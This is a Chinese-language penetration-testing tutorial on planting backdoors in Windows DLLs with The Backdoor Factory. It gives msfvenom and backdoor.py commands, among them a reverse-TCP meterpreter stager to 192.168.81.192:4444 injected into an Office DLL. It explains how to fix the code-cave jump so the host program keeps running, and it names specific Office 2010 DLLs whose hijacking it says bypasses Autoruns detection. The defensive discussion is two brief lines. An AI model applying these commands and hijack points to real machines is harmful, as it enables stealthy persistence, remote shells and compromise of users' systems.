當前位置:
首頁 > 新聞 > 利用BDF向DLL文件植入後門

利用BDF向DLL文件植入後門

0x00 前言

在之前的文章《利用BDF向EXE文件植入後門》介紹了使用The Backdoor Factory向EXE文件植入後門的方法,這次將要介紹向DLL文件植入後門的思路,演示一種DLL劫持的利用方法,總結該方法的特點,分析防禦思路

0x01 簡介

本文將要介紹以下內容:

·劫持自己的DLL,修復BUG

·劫持系統的DLL,繞過Autoruns的後門檢測

0x02 利用思路

DLL同EXE文件的植入思路相同,也是通過修改程序的執行流程,跳轉到Code Caves,執行payload,再返回至程序的正常流程

DLL同EXE文件最大的區別是多了導出函數的功能

在實現DLL劫持時,常常需要獲得原DLL的導出函數,模擬導出函數,添加payload,實現利用

那麼,The Backdoor Factory在DLL文件的後門植入上,是否要考慮導出函數呢?

下面進行測試,得出結論

0x02 編寫程序進行測試

測試Dll testdll.dll:

#include

#include

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

//MessageBox(NULL, NULL, NULL, 0);

//Sleep(5000);

printf("[+] DLL_PROCESS_ATTACHn");

case DLL_THREAD_ATTACH:

printf("[+] DLL_THREAD_ATTACHn");

case DLL_THREAD_DETACH:

printf("[+] DLL_THREAD_DETACHn");

case DLL_PROCESS_DETACH:

printf("[+] DLL_PROCESS_DETACHn");

break;

}

return TRUE;

}

void Export1()

{

printf("[+] Export1n");

}

導出函數為Export1

Dll載入程序 loader.exe:

#include

typedef void(*Export)();

int main(int argc, char* argv[])

{

Export exporttest;

printf("[*] LoadLibraryn");

HMODULE hDllLib = LoadLibrary("testdll.dll");

exporttest=(Export)GetProcAddress(hDllLib ,"Export1");

exporttest();

Sleep(10000);

FreeLibrary(hDllLib);

printf("[*] FreeLibraryn");

return 0;

}

程序執行如下圖,載入testdll.dll,調用導出函數Export1

使用The Backdoor Factory為DLL文件添加後門:

msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a

再次執行loader.exe,測試如下圖

成功執行payload,但是改變了程序流程,無法正常返回FreeLibrary

需要對DLL進行調試,找到出錯的原因

首先生成空的跳轉模板:

./backdoor.py -f testdll.dll -s cave_miner_inline

選擇.text段

執行Loader.exe,程序一切正常,那麼就是中間的payload出了問題

如下圖

這裡可以推測,payload只要能夠保持堆棧平衡,那麼就不會影響程序的正常執行

可以使用CFF Explorer添加payload

首先定位payload起始點

PUSHAD

PUSHFD

對應的16進位代碼為609C

在CFF Explorer中切換到Hex Editor視圖,搜索609C,定位起始點0x0000571A

註:

通過Immunity Debugger獲得的內存虛擬地址為0x1000571A,二者對應,位置正確

為了擴大payload空間,可以將後面的調整堆棧平衡代碼整體後移

如下圖

將0x0005772-0x0000579E的數據整體後移,中間填入0x90

選中該部分內容,右鍵-Copy-Hex

找到合適的位置,右鍵-Fill With...

完整操作如下圖

依此方法,中間填入修改後的payload即可,完成Bug修復

通過Immunity Debugger查看DLL文件,可以看到The Backdoor Factory對DLL和EXE文件進行跳轉劫持的位置一樣

如下圖

得出結論:

對於DLL文件來說,劫持初始化部分造成的結果是在LoadLibrary時即可執行payload,如果想在程序載入DLL導出函數時執行payload,將跳轉代碼改到導出函數內即可

0x03 劫持系統的DLL

針對Office 2010,分享幾個自己找到的DLL劫持利用位置

1、劫持Word-審閱試圖

LOCALSVC.DLL,位於

C:Program FilesCommon Filesmicrosoft sharedRRLoc14

對該dll添加payload

./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded

替換dll(需要管理員許可權),啟動word.exe,切換至審閱視圖,彈回meterpreter

測試如下圖

2、劫持word-插入-圖片

tiptsf.dll,位於C:Program FilesCommon Filesmicrosoft sharedink

需要TrustedInstaller許可權才能替換

關於如何獲得TrustedInstaller許可權,可參考文章《滲透技巧——Token竊取與利用》

3、劫持word-文件

也影響別的位置:

word -頁面布局-主題-瀏覽主題

GrooveIntlResource.dll,位於

C:Program FilesMicrosoft OfficeOffice142052

需要管理員許可權

4、劫持Excel-插入-圖片

MSPTLS.DLL,位於

C:Program FilesCommon Filesmicrosoft sharedOFFICE14

需要管理員許可權

以上測試如下圖

注:

本節內容僅為了演示DLL劫持的一些利用方法,這些特殊的劫持位置只會在軟體的特定功能打開時才會啟動,所以能夠繞過Autoruns的檢測

0x04 防禦

對於系統DLL,通過會帶有微軟簽名,如果對DLL植入後門,簽名會失效,這是一個老生常談的問題

而對於第三方開發的軟體,調用的第三方DLL不加簽名,那麼被利用的風險很大

0x05 小結

本文測試了使用The Backdoor Factory向DLL文件植入後門的方法,介紹修復BUG的思路,分享了一種DLL劫持的利用方法,僅供測試,通過總結該利用方法的特點,簡要介紹了防禦方面需要注意的問題


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

PROPagate——一種新的代碼注入技巧
HomeHack——LG物聯網家用電器中的新漏洞
另類端掃:無IP地址的埠掃描
利用BDF向EXE文件植入後門

TAG:嘶吼RoarTalk |